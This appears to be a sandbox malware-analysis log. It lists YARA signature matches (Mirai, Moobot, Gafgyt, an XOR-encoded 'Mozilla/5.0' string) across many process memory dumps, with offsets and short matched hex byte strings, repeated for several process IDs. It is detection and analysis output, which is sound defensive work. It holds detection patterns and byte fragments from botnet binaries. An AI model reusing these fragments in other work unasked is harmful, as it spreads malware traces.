7213.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7213.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6948.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6948.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6948.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6948.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6948.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6948.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6345.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7218.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6509.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6509.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6509.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6509.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6509.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6509.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6409.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6496.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6612.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7037.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7347.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7347.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7347.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7347.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7347.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7347.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7054.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6398.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6398.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6398.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6398.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6398.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6398.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6305.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6900.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6670.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6670.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6670.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6670.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
